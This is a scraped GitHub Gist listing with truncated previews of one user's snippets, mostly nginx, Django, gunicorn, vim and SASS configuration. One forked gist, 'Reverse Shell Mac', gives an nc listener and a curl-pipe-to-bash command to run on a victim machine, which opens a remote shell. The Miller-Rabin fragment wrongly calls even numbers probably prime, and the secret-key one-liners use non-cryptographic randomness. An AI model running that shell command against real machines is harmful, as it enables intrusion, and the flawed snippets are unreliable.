Skip to content

Instantly share code, notes, and snippets.

import random
def miller_rabin(n):
nMin1 = n - 1
a = random.randint(2,nMin1) # generate random integer
k = 1
if n % 2 == 0:
return print(n, "is probably prime")
@rub1cc
rub1cc / reverse-shell.sh
Created April 8, 2021 07:53 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
server {
listen 80;
server_name domain.name;
client_max_body_size 4G;
access_log path_to_project/logs/nginx-access.log;
error_log path_to_project/logs/nginx-error.log;
location / {
proxy_pass http://127.0.0.1:8000;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
@rub1cc
rub1cc / commandline.md
Last active June 3, 2019 14:23 — forked from sandervm/commandline.txt
Generate Django secret key commandline

for python 2

python -c 'import random; print "".join([random.choice("abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)") for i in range(50)])'

for python 3 and above

python -c 'import random; print("".join([random.choice("abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&amp;*(-_=+)") for i in range(50)]))'

[program:project_name]
directory = path_to_project_deployment_folder ; Project deployment directory
command = bash -c "./gunicorn-start.sh" ; Start app
user = user ; User to run as
stdout_logfile = path_to_project/logs/gunicorn-supervisor.log ; Where to write log messages
redirect_stderr = true
NAME="project_name" # Name of Django application
DJANGODIR=path_to_project # Django project directory
SOCKFILE=127.0.0.1:8000 # we will communicate using this unix socket
USER=user # The user to run as
GROUP=user # The group to run as
NUM_WORKERS=3 # How many worker processes should Gunicorn spawn
DJANGO_SETTINGS_MODULE=$NAME.settings # Which settings file should Django use
DJANGO_WSGI_MODULE=$NAME.wsgi # WSGI module name
echo "Starting $NAME as `whoami`"
@rub1cc
rub1cc / .vimrc
Last active April 4, 2019 04:22
My vim configuration
call plug#begin("~/.config/vim/plugged")
Plug 'lifepillar/vim-solarized8' " Solarized8 theme for vim
Plug 'drewtempelmeyer/palenight.vim' " Palenight theme for vim
Plug 'sheerun/vim-polyglot' " A collection of language packs for Vim.
Plug 'mattn/emmet-vim' " Emmet for vim
Plug 'tpope/vim-surround' " Quoting/parenthesizing made simple
Plug 'jiangmiao/auto-pairs' " Insert or delete brackets, parens, quotes in pair.
Plug 'ap/vim-css-color' " A very fast, multi-syntax context-sensitive color name highlighter
Plug 'EinfachToll/DidYouMean' " Vim plugin which asks for the right file to open.
Plug 'junegunn/fzf', { 'dir': '~/.fzf', 'do': './install --all' } " A command-line fuzzy finder
@rub1cc
rub1cc / helpers.scss
Created August 5, 2018 15:16
Padding and Margin Helper (SASS)
$spaceamounts: (5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100);
$sides: (top, bottom, left, right);
@each $space in $spaceamounts {
@each $side in $sides {
.m#{str-slice($side, 0, 1)}-#{$space} {
margin-#{$side}: #{$space}px;
}
.p#{str-slice($side, 0, 1)}-#{$space} {
padding-#{$side}: #{$space}px;
@rub1cc
rub1cc / disabled.txt
Created July 7, 2018 00:47
Disable some services to reduce memory usage on Fedora 28
# Disable some services
mkdir /usr/libexec/disabled
mv -v /usr/libexec/gsd-* /usr/libexec/disabled
mv -v /usr/libexec/evolution-* /usr/libexec/disabled
mv -v /usr/libexec/tracker-* /usr/libexec/disabled
# Stop autostart for some services
mkdir /etc/xdg/autostart/disabled
mv -v /etc/xdg/autostart/gnome-software.desktop /etc/xdg/autostart/disabled
@rub1cc
rub1cc / index.html
Created June 30, 2018 12:38
LIFF App template
{% extends "bootstrap/base.html" %}
{%- block metas %}
<meta name="vieport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scaleable=0">
{%- endblock metas %}
{% block scripts %}
<script src="https://code.jquery.com/jquery-3.3.1.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/signature_pad@2.3.2/dist/signature_pad.min.js"></script>
<script>
const canvas = document.querySelector('#canvas');